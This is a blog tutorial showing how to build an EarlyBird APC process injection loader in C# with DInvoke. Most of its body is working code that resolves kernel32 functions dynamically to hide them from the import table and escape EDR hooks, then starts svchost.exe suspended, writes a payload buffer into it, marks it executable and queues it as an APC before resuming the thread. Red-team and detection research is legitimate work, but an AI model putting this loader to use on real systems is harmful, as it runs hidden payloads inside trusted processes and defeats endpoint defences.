EarlyBird Process Injection technique using DInvoke
Pre-requisites
Here are some pre-requisite knowledge, that might help you in understanding the blog even more:
- Little knowledge about C#
- Little knowledge about sysinternals
- Some knowledge about process injection techniques
- Knowledge about P/Invoke
Introduction
This blog is about, how I was able to recreate the EarlyBird UserAPC process injection technique with DInvoke. There is also a POC version of this technique on my repository : EarlyBird
It is a very simple code execution technique. This lets the attacker execute the payload before the entry point of the main thread of the process, before any AV/EDR can hook into it. (To hook into this process, the AV/EDR must place the hook before the main thread)
Steps involved in this technique
- First a process is created in a suspended state using
CreateProcess
Win32 API - Then in that process, memory region is allocated for the shellcode using
VirtualAlloc
- The shellcode is written into the memory region using
WriteProcessMemory
- Once the shellcode is written into the memory region
QueueUserAPC
function is called to add a UserAPC to the child process, which points to the start of the shellcode - Now
ResumeThread
API is called to resume the main thread of the process which is in suspended state
This is the overview of this technique.
Need for using DInvoke
-
The modern EDRs can detect malwares, even when they are executed in-memory using API hooking. Using hooking the EDR can redirect the function call and inspect it.
-
So if someone uses the normal P/Invoke calls, there will be a corresponding entry in the IAT (Import Address Table). Therefore, an entry on the IAT will be created, giving out the behavior of the tool. The IAT can later be analyzed by the Blue Team to get an idea about its behavior
-
Using DInvoke or Dynamic Invoke, you can dynamically refer to the address of an API and call it. Therefore, there is no detection in the IAT of the executable
-
So, DInvoke can be one of the useful techniques for defeating an EDR and can be used in several different cases
What are Delegates?
Before we start porting our EarlyBird POC to using DInvoke, we must have a little idea about what are delegates and how they are essential for DInvoke.
According to do MSDN, A delegate is a type that represents references to methods with a particular parameter list and return type. When you instantiate a delegate, you can associate its instance with any method with a compatible signature and return type. You can invoke (or call) the method through the delegate instance. Delegates are used to pass methods as arguments to other methods. (Source : https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/delegates/)
Therefore, we can essentially get the address of a DLL, search through the DLL for a function and retrieve the pointer to that function.Now, we can use the delegates to wrap the function into a class, call that function, as well as pass our parameters.
Porting the POC to using DInvoke technique
Although in the final I have rewritten a lot of things in a different way, but the original code is from SharpSploit DInvoke
GetLibraryAddress
- The first important function that we need to understand is
GetLibraryAddress
.
public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false)
{
IntPtr hModule = GetLoadedModuleAddress(DLLName);
if (hModule == IntPtr.Zero && CanLoadFromDisk)
{
hModule = LoadModuleFromDisk(DLLName);
if (hModule == IntPtr.Zero)
{
throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
}
}
else if (hModule == IntPtr.Zero)
{
throw new DllNotFoundException(DLLName + ", Dll was not found.");
}
return GetExportAddress(hModule, FunctionName);
}
- This function takes the name of the function that we want to call, and the name of the DLL where the function is located in.
- At first it tries to get the function from the loaded module using
GetLoadedModuleAddress
- If it is not loaded a NULL pointer is returned, then the module is loaded from the disk using
LoadModuleFromDisk
- If the address of module is loaded, then the pointer to the function is returned using the
GetExportAddress
function, which parses the export table.
GetLoadedModuleAddress
- This is another important function in the SharpSploit suite
public static IntPtr GetLoadedModuleAddress(string DLLName)
{
ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
foreach (ProcessModule Mod in ProcModules)
{
if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
{
return Mod.BaseAddress;
}
}
return IntPtr.Zero;
}
- This lists the already loaded modules on the context of the current process.
- The string is then converted to lower case and compared with the DLL name that we provided
- The loaded module has the complete path, for example:
C:\Windows\SYSTEM32\ntdll.dll
- Therefore, the end of the string is calculated with the DLL that we provided.
- If there is a match, then the address of the DLL is returned, else a NULL pointer is returned
Loading modules from disk
- If a module is not loaded in the context of the current process, one needs to load it from the disk
- For this purpose, the most important is the LdrLoadDll API
- Therefore a wrapper for the
LdrLoadDll
API is created as follows
public static Execute.Native.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Execute.Native.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle)
{
// Craft an array for the arguments
object[] funcargs =
{
PathToFile, dwFlags, ModuleFileName, ModuleHandle
};
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.LdrLoadDll), ref funcargs);
// Update the modified variables
ModuleHandle = (IntPtr)funcargs[3];
return retValue;
}
-
Here the function
DynamicAPIInvoke
is used which also callsDynamicFunctionInvoke
to load thentdll.dll
module, theLdrLoadDll
module and subsequently invoke the API. -
The next function is the
LoadModuleFromDisk
function.
public static IntPtr LoadModuleFromDisk(string DLLPath)
{
Execute.Native.UNICODE_STRING uModuleName = new Execute.Native.UNICODE_STRING();
Native.RtlInitUnicodeString(ref uModuleName, DLLPath);
IntPtr hModule = IntPtr.Zero;
Execute.Native.NTSTATUS CallResult = Native.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule);
if (CallResult != Execute.Native.NTSTATUS.Success || hModule == IntPtr.Zero)
{
return IntPtr.Zero;
}
return hModule;
}
-
First the module name is converted to an
UNICODE_STRING
usingRtlInitUnicodeString
wrapper for the function of the same name. (This wrapper is created in the same way as above) -
This string is then passed to the wrapper of
LdrLoadDll
function. -
LdrLoadDll
takes 4 arguments, 2 of them are important to us. One is the module name and the other one is an empty pointer which will hold the pointer to the module. -
This is how SharpSploit can load the address of a module from the disk
Creating Delegates for the functions
Creating delegates for the functions is also a very important step. For example a delegate for the function CreateProcessA
is created as follows
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool createproc(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironMent, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
- Here we can name the delegate of our choice, or even use a hash in its place.
Invoking functions through the delegates
- First we need to get the function pointer using the
GetLibraryAddress
function
IntPtr fPtr = GetLibaddr("kernel32.dll", "CreateProcessA");
- You can also refer to another implementation of DInvoke by [Soumyadeep Basu] (https://twitter.com/SoumyadeepBas12), where he uses hashes in place of actual names of the modules and functions. Since, strings can be recovered easily from the binary.
- Then get the delegate for the function pointer. Store it into a variable with the same delegate type as
createproc
forCreateProcessA
API
createproc cp = Marshal.GetDelegateForFunctionPointer(fPtr, typeof(createproc)) as createproc;
- Here you can use the variable of the delegate type
createproc
as you’d normally call inP/Invoke
bool createprocstat = cp("C:\\Windows\\System32\\svchost.exe", null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);
CreateProcessA
takes the complete path of the binary from which you want to create the process. Here it issvchost.exe
- Give the process creation flags as
CREATE_SUSPENDED
with a value of0x00000004
- The variable
si
of typeSTARTUPINFO
stores the startup information and the variablepi
of typePROCESS_INFORMATION
stores the process information like the process handle and the thread handle.
Invoking other functions
- Like this you can create the delegate of
VirtualAllocEx
and invoke it as well
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr valloc(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
fPtr = GetLibaddr("kernel32.dll", "VirtualAllocEx");
valloc virtalloc = Marshal.GetDelegateForFunctionPointer(fPtr, typeof(valloc)) as valloc;
IntPtr addr = virtalloc(pi.hProcess, IntPtr.Zero, (uint)buf.Length, (uint)(AllocationType.Commit | AllocationType.Reserve), (uint)MemoryProtection.ReadWrite);
-
We allocate memory in the process that we just created, and refer to it using process handle
-
The size of the region will be the length of the payload buffer
-
The allocation type will be
MEM_COMMIT
andMEM_RESERVE
-
The memory protection will be Read Write, which we will change using
VirtualProtectEx
after we write our payload into the memory region -
Now we write to the allocated memory region using
WriteProcessMemory
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool writeprocmem(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
UIntPtr byteswritten = UIntPtr.Zero;
fPtr = GetLibaddr("kernel32.dll", "WriteProcessMemory");
writeprocmem wrpm = Marshal.GetDelegateForFunctionPointer(fPtr, typeof(writeprocmem)) as writeprocmem;
wrpm(pi.hProcess, addr, buf, (uint)buf.Length, out byteswritten);
-
WriteProcessMemory
takes the process handle, the address of the allocated memory region, the array containing the payload, the length of the payload buffer. It also returns the number of bytes written to the memory -
Once the payload is written to the memory, use
VirtualProtectEx
to change the permission toRead Execute
, since according to Data Execution Prevention (DEP) a memory cannot be writable and executable at the same time, and if we create a memory region Writable and executable at the same time, the EDR might catch up
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Boolean vprotect(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect);
uint oldProtect = 0;
fPtr = GetLibaddr("kernel32.dll", "VirtualProtectEx");
vprotect vprot = Marshal.GetDelegateForFunctionPointer(fPtr, typeof(vprotect)) as vprotect;
vprot(pi.hProcess, addr, buf.Length, (uint)MemoryProtection.ExecuteRead, out oldProtect);
-
The function takes the process handle, the allocated memory region, the size of the memory region, the new memory protection that we want to set and a variable to store the old memory protection
-
Then we call the
QueueUserAPC
API
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr queueUseApc(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
fPtr = GetLibaddr("kernel32.dll", "QueueUserAPC");
queueUseApc qapc = Marshal.GetDelegateForFunctionPointer(fPtr, typeof(queueUseApc)) as queueUseApc;
qapc(addr, pi.hThread, IntPtr.Zero);
-
We first supply the address of the allocated memory region for the pointer to the
UserAPC
-
The supply the handle to the thread where this is located. The next parameters is not of use to us
-
Finally we call the resume thread function to resume the thread that was in suspended state till now
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint resthread(IntPtr hThhread);
fPtr = GetLibaddr("kernel32.dll", "ResumeThread");
resthread rt = Marshal.GetDelegateForFunctionPointer(fPtr, typeof(resthread)) as resthread;
rt(pi.hThread);
- It just takes the thread handle that we are working on.
- A better approach would be to close the thread and process handles using the CloseHandle API
Conclusion
This was my explanation of the DInvoke and use of Delegates. Pardon my mistakes in the explanations. Although, directly using this won’t be very much useful, but it can be used in other techniques for better results.
You can refer to my version of the code here : https://github.com/dosxuz/DInvoke-Examples/tree/main/SimpleDinvoke/SimpleDinvoke
References
- Dynamic Invoke - https://thewover.github.io/Dynamic-Invoke/
- Explanation of the EarlyBird UserAPC Process Injection - https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/
- Blog by NVISO - https://blog.nviso.eu/2020/11/20/dynamic-invocation-in-net-to-bypass-hooks/
- DInvoke namespace of the SharpSploit project - https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/Execution/DynamicInvoke/
- Vanilla Process Injection using DInvoke - https://gist.github.com/sbasu7241/4e2ac9a3c4243fb8aeae03f4f59435aa
- MSDN : https://docs.microsoft.com/en-us/